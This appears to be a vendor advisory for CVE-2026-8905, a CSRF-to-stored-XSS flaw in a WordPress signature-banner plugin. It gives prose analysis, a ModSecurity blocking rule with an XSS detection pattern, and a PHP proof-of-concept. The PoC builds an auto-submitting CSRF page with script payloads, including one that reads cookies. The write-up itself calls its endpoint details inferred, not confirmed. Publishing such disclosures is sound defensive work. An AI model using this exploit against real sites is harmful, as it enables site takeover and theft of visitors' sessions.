Atomic Edge analysis of CVE-2026-8905 (metadata-based): Cross-Site Request Forgery to Stored Cross-Site Scripting via the ‘prepend_text’ parameter in the Osiris Signature Banner plugin for WordPress, up to version 0.5. The vulnerability carries a CVSS score of 6.1 (Medium) and allows unauthenticated attackers to inject persistent JavaScript payloads by tricking a site administrator into submitting a crafted request.
Root Cause: Atomic Edge research infers the root cause from the CWE-352 classification and the description. The plugin’s settings update function lacks a nonce check, which is standard WordPress CSRF protection. An attacker can forge a request to the settings endpoint that modifies the ‘prepend_text’ parameter. The description confirms this parameter accepts input that is not sanitized or escaped before storage, leading to stored XSS. Since no code diff is available, Atomic Edge cannot confirm the exact function name or hook, but typical patterns involve an admin_settings_update() or save_options() callback registered via admin_post_{action} or admin AJAX.
Exploitation: Atomic Edge analysis indicates the attack vector requires chaining a CSRF with stored XSS. An attacker crafts a malicious HTML page containing a form that submits to the WordPress admin settings endpoint. The form includes the ‘prepend_text’ parameter with a JavaScript payload, such as alert(1). The attacker sends the link to a logged-in administrator. If the administrator clicks the link or the form auto-submits, the attacker updates the plugin settings without the administrator’s knowledge. The payload is stored and executed each time the banner displays to any site visitor.
Remediation: The vendor should add a nonce field to the settings form and validate it via check_admin_referer() or wp_verify_nonce() in the update handler. Additionally, the ‘prepend_text’ parameter should be sanitized before storage using sanitize_text_field() or wp_kses_post() and escaped on output using esc_html() or wp_kses(). Atomic Edge recommends incorporating both CSRF protection and output escaping to fully close the vulnerability.
Impact: A successful exploit results in stored cross-site scripting. The attacker can inject arbitrary JavaScript that executes in the context of any page displaying the signature banner. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since the payload executes for all visitors, the attack has a broad reach and can compromise the site’s integrity and user trust.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8905 (metadata-based)
# Block CSRF to Stored XSS via 'prepend_text' in Osiris Signature Banner
# This rule targets WordPress admin-ajax.php requests with the plugin's action and malicious script content in prepend_text.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20268905,phase:2,deny,status:403,chain,msg:'CVE-2026-8905 - CSRF to XSS via prepend_text in Osiris Signature Banner',severity:'CRITICAL',tag:'CVE-2026-8905'"
SecRule ARGS_POST:action "@streq osiris_signature_banner_update"
"chain"
SecRule ARGS_POST:prepend_text "@rx <script[ >]|<[iI][mM][gG]s+[^>]*bonerror|<[sS][vV][gG]s+[^>]*bonload|javascript:"
"t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8905 - Osiris Signature Banner <= 0.5 - CSRF to Stored XSS via 'prepend_text' Parameter
// Configure target WordPress site URL and admin username (change these!)
$target_url = 'http://example.com';
$admin_username = 'admin';
// Step 1: Login as admin to get cookies and nonce (simulates authenticated session)
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $admin_username,
'pwd' => 'password', // CHANGE THIS
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Fetch the settings page to extract CSRF token (if present) and confirm endpoint
$plugin_settings_url = $target_url . '/wp-admin/options-general.php?page=osiris-signature-banner';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $plugin_settings_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Create a CSRF exploit that auto-submits to update the prepend_text with XSS payload
// The target endpoint is likely /wp-admin/admin-post.php?action=osiris_signature_banner_update
// or /wp-admin/options.php with appropriate page parameters.
// Based on typical plugin patterns, we assume an AJAX action or admin-post action.
$csrf_exploit_html = <<<HTML
<html>
<body>
<h2>Atomic Edge CSRF to XSS Exploit</h2>
<p>If you are logged in as admin, this form will submit automatically and inject the payload.</p>
<form id="csrf_form" action="{$target_url}/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="osiris_signature_banner_update">
<input type="hidden" name="prepend_text" value='><script>alert(1)</script>">
<input type="submit" value="Click to trigger exploit">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
HTML;
// Save the exploit to a file for use
file_put_contents('cve-2026-8905-exploit.html', $csrf_exploit_html);
echo "[+] Exploit HTML written to cve-2026-8905-exploit.htmln";
echo "[+] Host it on a web server and send the link to a logged-in admin.n";
// Optional: Uncomment to simulate forceful execution (assuming same-browser/admin session)
// $exploit_post_url = $target_url . '/wp-admin/admin-ajax.php';
// $exploit_data = array(
// 'action' => 'osiris_signature_banner_update',
// 'prepend_text' => ''><script>alert(document.cookie)</script>'
// );
// $ch = curl_init();
// curl_setopt($ch, CURLOPT_URL, $exploit_post_url);
// curl_setopt($ch, CURLOPT_POST, true);
// curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
// curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// $exploit_result = curl_exec($ch);
// curl_close($ch);
// echo "[+] Exploit result: " . $exploit_result . "n";
// Clean up cookie file
unlink('/tmp/cookies.txt');
?>
